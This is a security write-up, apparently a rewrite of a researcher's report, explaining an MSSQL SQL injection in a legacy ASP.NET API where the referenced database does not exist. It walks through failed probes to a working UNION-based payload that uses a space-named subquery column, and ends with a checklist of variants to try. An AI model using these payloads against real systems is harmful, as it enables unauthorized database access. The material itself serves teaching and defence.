No Database No Table, how do you do MSSQL Injection?
A legacy ASP.NET API built a SQL query by inserting a user-controlled table name into a three-part identifier that referenced a non-existent database, so ordinary stacked queries failed. The author found that by using a subquery with a column alias of a single space, MSSQL's whitespace trimming allowed the injected identifier to resolve, enabling UNION-based extraction of data such as the version.
One day, while reviewing the code of an ASP.NET website, I came across a special case of SQL Injection with Microsoft SQL Server, basically the form of SQL Injection is like this:
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
While reviewing the code of an ASP.NET website, I came across a special case of SQL injection against Microsoft SQL Server. The vulnerable code was in a legacy API, and the injection point is a table name taken straight from the request and interpolated into a query with string.Format:
string sql = string.Format(
"SELECT ReportsDB..{0}.* " +
"FROM ReportsDB..{0} " +
"WHERE ReportsDB..{0}.Id = 1 "
, Request["table"]);
// ReportsDB doesn't exist
The query is written against a database called ReportsDB, but there is no database with that name on the MSSQL server. That detail is what makes this case interesting: the usual exploitation techniques do not work as expected, and the path to a working payload goes through how T-SQL parses multi-part identifiers.
Setup
There are no accounts, roles or special tooling involved. The examples are shown at a 1> prompt, where statements are entered after 1> and executed with go. The only precondition is the injection point above, where the attacker controls the table parameter that is placed into ReportsDB..{0}.
Finding it
At first sight this looks like a plain SQL injection that can be exploited as usual. The first attempt was a stacked query: inject a second statement after the original one and use waitfor delay to confirm execution.
1> select ReportsDB..foobar; waitfor delay '00:00:03'; -- .*
2> go
Msg 4104, Level 16, State 1, Server 38edaa74cb29, Line 1
The multi-part identifier "ReportsDB..foobar" could not be bound.
MSSQL responds with an error and does not execute the second query, because ReportsDB does not exist. Stacked queries are therefore not available here.
The next idea was to create a table called ReportsDB through a subquery, so that the identifier would resolve. That failed too:
1> select ReportsDB..foobar from (select 1 as foobar) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.
The error message is the interesting part. Invalid column name '' means MSSQL is treating ReportsDB..foobar as <table_name>.<column_name>.<something> rather than <database_name>.<schema_name>.<column_name>. In this interpretation the database name is ReportsDB, the column name is an empty string, and foobar is being looked up as a property of that column.
That raised the question of whether a column with an empty string as its name could be defined with an AS statement. The answer is no:
1> select ReportsDB..foobar from (select 1 as '') as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.
1> select ReportsDB..foobar from (select 1 as []) as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.
Both the quoted empty string and the bracketed empty identifier are rejected.
A column literally named .foobar is a valid column name, so that was tried next, on the theory that the second dot of ReportsDB..foobar could be part of the column name. MSSQL never considers it that way:
1> select ReportsDB..foobar from (select 1 as [.foobar]) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.
At this point it looks like a dead end.
Exploitation
Step 1: trailing whitespace in column names
In MSSQL, trailing whitespace is valid when defining column names, and a SELECT that references a column name containing trailing whitespace does work:
1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
Step 2: whitespace is trimmed when comparing names
Referencing the column without the trailing whitespace in the outer SELECT still works:
1> select [ReportsDB].[a] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
The same holds with more whitespace on either side:
1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
1> select [ReportsDB].[a ] from (select 1 as [a]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
MSSQL evidently trims whitespace when processing column names, so the two names are considered the same.
Step 3: a single whitespace as the column name
If whitespace is trimmed, a column whose name is a single whitespace should behave like an empty name. It does:
1> select [ReportsDB].[ ] from (select 1 as [ ]) as ReportsDB;
2> go
-----------
1
(1 rows affected)
MSSQL does not allow an empty string inside [] in a SELECT statement, but the injection point does not use [] around the column name. It uses the .. syntax, so the subquery can define the column as [ ] and the outer query can reference it as an empty name.
Step 4: the original query shape works
Putting the subquery back into the shape of the vulnerable query:
1> select ReportsDB..foobar from (select 1 as [ ]) as ReportsDB;
2> go
Msg 258, Level 15, State 1, Server 38edaa74cb29, Line 1
Cannot call methods on int.
It works. MSSQL accepts an empty string as a column name with the .. syntax. What happens is that MSSQL considers ReportsDB. (with an empty string as the column name) to be a valid field, 1 to be the value of that field, and int to be the data type of the field. It then tries to find a property named foobar on the int data type and fails, which is what the error reports. The column name in the first SELECT is an empty string, the column name in the subquery is a whitespace, and the whitespace trimming makes MSSQL treat them as the same name.
Step 5: use a real property of a real type
There is no need to define a property on a data type. Existing objects in MSSQL can be used instead. The geometry data type has many properties, such as STY. A query built this way works:
1> select ReportsDB..STY from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB;
2> go
------------------------
0.0
(1 rows affected)
Step 6: the final payload
The injection was exploited with a payload similar to the one below, which is UNION based:
?table=STY as id, @@version as data from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB --
The injected table value is a subquery aliased as ReportsDB, whose single column is named with a whitespace and holds a geometry value. The outer query then selects STY from it, aliased as id, alongside @@version aliased as data, and the trailing -- comments out the rest of the original statement.
Root cause
The mistake is the usual one: user input is concatenated into SQL with string.Format instead of being passed as a parameter, and the input is placed where an identifier is expected. The reason the usual defences and techniques behave differently here is the missing ReportsDB database, which turns the injection into a puzzle about identifier parsing rather than about statement stacking.
The exploitation relies on two T-SQL behaviours. First, the .. syntax lets the parser read ReportsDB..x as a multi-part identifier in which the middle part is an empty column name. Second, MSSQL trims whitespace when comparing column names, so a column defined as [ ] in a subquery matches the empty column name in the outer query. Together these allow a subquery aliased as ReportsDB to satisfy the reference to a database that does not exist.
Impact
With a UNION-based payload the attacker can read data through the vulnerable API, as the @@version selection shows. The report does not describe any further impact, and the conditions are those of the injection point itself: an attacker who can control the table parameter of this legacy API.
Fix
The report does not describe a fix. The change that addresses the root cause is to stop building the query with string.Format and to pass the value as a parameter, or, where an identifier genuinely has to be dynamic, to validate it against a fixed allowlist of known table names rather than interpolating it.
Variants to test
- Inject into an identifier position where the referenced database or schema does not exist. A positive result is an
Invalid column name ''error, which shows the parser is reading the input as<table>.<column>.<property>and that the whitespace trick may apply. - Define a column as
[ ]in a subquery aliased to the missing name, then reference it with the..syntax. A positive result is an error such asCannot call methods on int, which confirms the empty column name resolved. - Replace the
intvalue with a type that has useful properties, such asgeometrywithSTY, and select the property. A positive result is a value returned instead of an error. - Turn the working construction into a UNION-based payload that selects
@@versionor other data alongside the property. A positive result is the requested data appearing in the response.
What happened, in plain words
A website had a page that took a word from the visitor and pasted it straight into a database question. That is like letting a stranger finish your sentence for you: whatever they say becomes part of what you asked. In this case the word was used as a table name, and the database was Microsoft SQL Server (MSSQL), a program that stores and answers questions about data.
The usual trick for this kind of flaw is to add a second question after the first one. Here that did not work, because the first question mentioned a database called ReportsDB that does not exist on the server. So the author had to work out how MSSQL reads names, and found a way to make the missing database appear to exist by using a subquery (a question nested inside another question) and a quirk about spaces in column names. In the end the author built a UNION-based payload that selects @@version alongside the property.
This article walks through that journey step by step, explaining each idea as it comes up.
Some background first
What an API is
An API is a way for one program to ask another program for something, without a human clicking buttons. Think of a restaurant: you do not walk into the kitchen, you tell the waiter what you want and the waiter brings it. The API is the waiter. A website's pages often call APIs behind the scenes to fetch data.
What a legacy API is
"Legacy" means old code that is still running. It may have been written years ago, before newer safety habits were common, and nobody has rewritten it. Old code is a common place to find mistakes.
What ASP.NET is
ASP.NET is a framework from Microsoft for building websites and web services. It is a set of tools and conventions that programmers use so they do not have to build everything from scratch.
What SQL and MSSQL are
SQL is the language used to talk to databases. A database is an organised store of information, like a very large set of spreadsheets that can be searched quickly. MSSQL (Microsoft SQL Server) is one brand of database that understands SQL, with its own dialect called T-SQL.
A simple SQL question looks like SELECT name FROM users WHERE id = 1, which means "give me the name column from the users table for the row whose id is 1".
What SQL injection is
SQL injection is when a program builds a SQL question by gluing together fixed text and text supplied by the visitor, and the visitor's text is not treated as plain data but as part of the question itself. If the program expects a number and you send 1, fine. If you send something clever, the database may do something the programmer never intended, such as revealing other data.
A useful comparison: a form that says "write your name here" and then prints "Hello, <your name>". If you write Alice, it says "Hello, Alice". If you write something that looks like an instruction to the printing machine, the machine may follow the instruction instead of printing it.
What a parameter is
A parameter is a placeholder in a SQL question that is filled in separately, so the database always treats the value as data and never as part of the question. It is the safe way to include visitor input. The code here does not use parameters; it uses string.Format, which is simple text substitution.
What string.Format does
string.Format takes a template with slots like {0} and replaces each slot with a value. It is pure text assembly: whatever is in the value becomes part of the final string, character for character. There is no escaping and no separation between code and data.
What a table, column, row and identifier are
A database table is like a sheet: columns are the headings (name, age, price) and rows are the entries. An identifier is simply a name used in SQL, such as a table name or a column name. Names can be written plainly (users) or wrapped in square brackets ([users]) when they contain spaces or special characters.
What a subquery is
A subquery is a question inside a question. For example, SELECT x FROM (SELECT 1 AS x) AS t asks the inner question first, gives its result a temporary name t, and then the outer question reads from it. It is like asking a colleague to prepare a small summary sheet, then reading from that sheet.
What an alias is
An alias is a temporary name given to something in a query, using AS. SELECT 1 AS x means "produce the value 1 and call it x for now". Aliases are how the author tried to create a fake table or column with a chosen name.
What a UNION is
UNION combines the results of two questions into one list. If the first question returns one column, the second must also return one column, and the results are stacked. Attackers use it to append their own question to the original one, so their data appears in the page's output.
What a stacked query is
A stacked query is two separate SQL statements sent one after the other, separated by a semicolon. If the database allows it, the second statement runs even if the first one is unrelated. It is a common way to test whether injection is possible, because you can ask the database to wait a few seconds and see if the page is slow.
What waitfor delay does
waitfor delay '00:00:03' tells MSSQL to pause for three seconds. If a page takes three seconds longer than usual after you send it, you know your injected statement actually ran.
What @@version is
@@version is a built-in MSSQL value that reports the version of the database server. It is a handy thing to read first, because it tells you what you are dealing with.
What sqlcmd and the 1> prompt are
The examples in this article use a 1> prompt where you type a statement, and you type go on its own line to send it, so you can see what was typed and what came back.
The vulnerable code
While reviewing the code of an ASP.NET website, the author found this in a legacy API:
string sql = string.Format(
"SELECT ReportsDB..{0}.* " +
"FROM ReportsDB..{0} " +
"WHERE ReportsDB..{0}.Id = 1 "
, Request["table"]);
// ReportsDB doesn't exist
Line by line:
string sql = string.Format(starts building a SQL string from a template."SELECT ReportsDB..{0}.* "is the first part of the template.{0}is a slot.ReportsDB..is a name with two dots, which in SQL means "databaseReportsDB, default schema, then whatever comes next". The.*means "all columns"."FROM ReportsDB..{0} "says which table to read from, again using the same slot."WHERE ReportsDB..{0}.Id = 1 "filters to the row whoseIdis 1., Request["table"]);fills the slot with the value of thetableparameter from the incoming request. That is the visitor's input, and it goes in as raw text.// ReportsDB doesn't existis a comment noting that the database namedReportsDBis not actually present on the server.
The key point: the visitor controls the table parameter, and it is pasted into a place where a name is expected. That is the injection point.
Trying the obvious thing first
The first instinct with SQL injection is to add a second statement and see if it runs. The author tried a stacked query with a delay:
1> select ReportsDB..foobar; waitfor delay '00:00:03'; -- .*
2> go
Msg 4104, Level 16, State 1, Server 38edaa74cb29, Line 1
The multi-part identifier "ReportsDB..foobar" could not be bound.
What each part means:
select ReportsDB..foobaris the first statement, asking for a column calledfoobarin theReportsDBdatabase.;separates statements, sowaitfor delay '00:00:03'is a second statement that would pause for three seconds.-- .*is a comment, so the rest of the original query is ignored.gosends the whole thing to the server.
The server replied with an error: the multi-part identifier could not be bound. In plain words, it could not find ReportsDB..foobar, because ReportsDB does not exist. The second statement never ran. So stacked queries are not available here.
Trying to fake the missing database
The next idea: if the database is missing, create something with that name using a subquery, so the name resolves. The author tried:
1> select ReportsDB..foobar from (select 1 as foobar) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.
Line by line:
select ReportsDB..foobaris the outer question, asking forfoobarfromReportsDB.from (select 1 as foobar) as ReportsDBis the inner question: produce the value1and call itfoobar, then give the whole inner result the temporary nameReportsDB.gosends it.
The error is the interesting part: Invalid column name ''. The two single quotes with nothing between them mean an empty name. That tells us MSSQL is not reading ReportsDB..foobar as "database, schema, column" in the way the author expected. Instead it is reading it as "table, column, property": the table is ReportsDB, the column name is an empty string, and foobar is being looked up as a property of that column. That is a very different interpretation, and it opens a new line of thinking.
Can we make a column with an empty name?
If MSSQL wants a column whose name is an empty string, the natural question is whether we can create one with AS. The author tried two ways:
1> select ReportsDB..foobar from (select 1 as '') as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.
1> select ReportsDB..foobar from (select 1 as []) as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.
What is happening:
- The first attempt uses
as '', an empty quoted string as the alias. MSSQL rejects it with error 1038, saying an object or column name is missing or empty. - The second attempt uses
as [], an empty bracketed identifier. MSSQL rejects it the same way.
So an empty name cannot be created directly. The error message even spells it out: aliases defined as "" or [] are not allowed.
What about a column literally called .foobar?
A column name can contain a dot, so the author tried naming the column .foobar, hoping the second dot of ReportsDB..foobar would be swallowed into the column name:
1> select ReportsDB..foobar from (select 1 as [.foobar]) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.
Here [.foobar] is a bracketed name containing a dot. MSSQL still reports Invalid column name '', meaning it still treats the middle part as an empty name and does not fold the dot into the column name. At this point it looks like a dead end.
The breakthrough: spaces in names
Step 1: trailing spaces are allowed in column names
In MSSQL, a column name can end with spaces. The author tested this directly:
1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
Line by line:
select [ReportsDB].[a ]asks for the column nameda(with a trailing space) from the tableReportsDB.from (select 1 as [a ]) as ReportsDBbuilds a tiny inner result: the value1, nameda(with a trailing space), and gives the whole thing the temporary nameReportsDB.gosends it.
The result is a single row with the value 1. So a column name with a trailing space is valid, and it can be referenced.
Step 2: spaces are trimmed when names are compared
Next, the author referenced the column without the trailing space in the outer question:
1> select [ReportsDB].[a] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
Here the outer name is a (no space) but the inner name is a (with a space). It still works. That means MSSQL trims spaces when comparing names, so a and a are considered the same name.
The author confirmed this with more spaces on either side:
1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
1> select [ReportsDB].[a ] from (select 1 as [a]) as ReportsDB;
2> go
a
-----------
1
(1 rows affected)
In the first case the outer name has five spaces and the inner has one. In the second case the outer has five and the inner has none. Both work. The trimming is clearly happening on both sides.
Step 3: a single space as the column name
If spaces are trimmed, then a column whose name is a single space should behave like an empty name. The author tested that:
1> select [ReportsDB].[ ] from (select 1 as [ ]) as ReportsDB;
2> go
-----------
1
(1 rows affected)
Line by line:
select [ReportsDB].[ ]asks for the column named with a single space.from (select 1 as [ ]) as ReportsDBbuilds an inner result with the value1, named with a single space, and calls the whole thingReportsDB.gosends it.
The result is 1. Notice the column heading in the output is blank, because the name is a space. This is the key insight: MSSQL will not let you write [] (empty brackets), but it will let you write [ ] (brackets containing a space), and the trimming makes that equivalent to an empty name.
Step 4: the original query shape now works
The author put the subquery back into the shape of the vulnerable query:
1> select ReportsDB..foobar from (select 1 as [ ]) as ReportsDB;
2> go
Msg 258, Level 15, State 1, Server 38edaa74cb29, Line 1
Cannot call methods on int.
Line by line:
select ReportsDB..foobaruses the..syntax, which MSSQL reads as "tableReportsDB, empty column name, propertyfoobar".from (select 1 as [ ]) as ReportsDBprovides an inner result with the value1, named with a space, aliased asReportsDB.gosends it.
The error changed. It is no longer Invalid column name ''. It is now Cannot call methods on int. That is progress: MSSQL found the column, saw that its value is 1 (an integer, int), and then tried to find a property called foobar on an integer, which does not exist. The empty column name resolved, thanks to the space trimming. The author calls this "it works", because the hard part, making the missing database resolve, is solved.
Step 5: use a real property of a real type
There is no need to invent a property. MSSQL has built-in data types with useful properties. The author picked geometry, a type for geometric shapes, which has properties such as STY, one of its properties. The test:
1> select ReportsDB..STY from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB;
2> go
------------------------
0.0
(1 rows affected)
Line by line:
select ReportsDB..STYasks for theSTYproperty of the empty-named column inReportsDB.from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDBbuilds an inner result whose value is a geometry point at coordinates (0, 0), named with a single space, aliased asReportsDB.gosends it.
The result is 0.0. The construction works end to end: the missing database is satisfied by the subquery, the empty column name is satisfied by the space, and the property lookup returns real data.
Step 6: the final payload
The author turned this into a UNION-based payload similar to:
?table=STY as id, @@version as data from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB --
Line by line:
?table=is the request parameter the vulnerable code reads.STY as idselects theSTYproperty and gives it the column nameid, so it fits the original query's expected column., @@version as dataadds a second column containing the database version, nameddata.from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDBis the subquery that fakes the missing database, with a space-named column holding a geometry value.--comments out the rest of the original query, so the trailing.*andWHEREclause do not interfere.
When this value is pasted into the template, the resulting query selects the geometry's Y coordinate and the database version.
Why it works
Two behaviours of T-SQL combine here:
- The
..syntax lets the parser readReportsDB..xas a multi-part identifier where the middle part is an empty column name. Normally you would writedatabase.schema.object, but with the database missing, the parser falls back to reading it astable.column.property. - MSSQL trims spaces when comparing column names, so a column defined as
[ ]in a subquery matches the empty column name in the outer query.
Together, these let a subquery aliased as ReportsDB stand in for a database that does not exist.
The root cause
The mistake is the usual one: visitor input is glued into SQL with string.Format instead of being passed as a parameter, and the input lands in a position where a name is expected. The missing ReportsDB database is what makes this case unusual, turning the injection into a puzzle about how names are parsed rather than about stacking statements.
What an attacker could do
With a UNION-based payload, an attacker can read data through the vulnerable API, as the @@version selection shows. The report does not describe any further impact. The conditions are those of the injection point itself: an attacker who can control the table parameter of this legacy API.
How to fix it
The report does not describe a fix. The change that addresses the root cause is to stop building the query with string.Format and to pass the value as a parameter. Where a name genuinely has to be dynamic, validate it against a fixed allowlist of known table names rather than interpolating it.
Things worth testing elsewhere
- Inject into a position where the referenced database or schema does not exist. A positive sign is an
Invalid column name ''error, which shows the parser is reading the input astable.column.propertyand that the space trick may apply. - Define a column as
[ ]in a subquery aliased to the missing name, then reference it with the..syntax. A positive sign is an error such asCannot call methods on int, which confirms the empty column name resolved. - Replace the
intvalue with a type that has useful properties, such asgeometrywithSTY, and select the property. A positive sign is a value returned instead of an error. - Turn the working construction into a UNION-based payload that selects
@@versionor other data alongside the property. A positive sign is the requested data appearing in the response.
Glossary
- API: a way for one program to ask another program for something, without a human clicking buttons.
- ASP.NET: a Microsoft framework for building websites and web services.
- Alias: a temporary name given to a table, column or result in a query, using
AS. - Column: a heading in a database table, such as name or price.
- Database: an organised store of information that can be searched quickly.
- Identifier: a name used in SQL, such as a table name or column name.
- Legacy: old code that is still running, often written before modern safety habits.
- MSSQL: Microsoft SQL Server, a brand of database that understands SQL.
- Parameter: a placeholder in a SQL question filled in separately, so the value is always treated as data.
- Row: one entry in a database table.
- SQL: the language used to talk to databases.
- SQL injection: when a program glues visitor input into a SQL question, and the input becomes part of the question instead of plain data.
- Stacked query: two or more SQL statements sent one after another, separated by a semicolon.
- Subquery: a question nested inside another question.
- Table: a sheet-like structure in a database, with columns and rows.
- T-SQL: the dialect of SQL used by MSSQL.
- UNION: an operator that combines the results of two questions into one list.
@@version: a built-in MSSQL value that reports the database server version.string.Format: a function that builds a string by replacing slots like{0}with values, as pure text substitution.waitfor delay: an MSSQL statement that pauses for a given time, useful for confirming that injected code ran.sqlcmd: a command-line tool for talking to MSSQL directly, showing a1>prompt and sending statements withgo.geometry: an MSSQL data type for geometric shapes, with properties such asSTY.STY: a property of thegeometrytype used in the report.int: the MSSQL data type for whole numbers.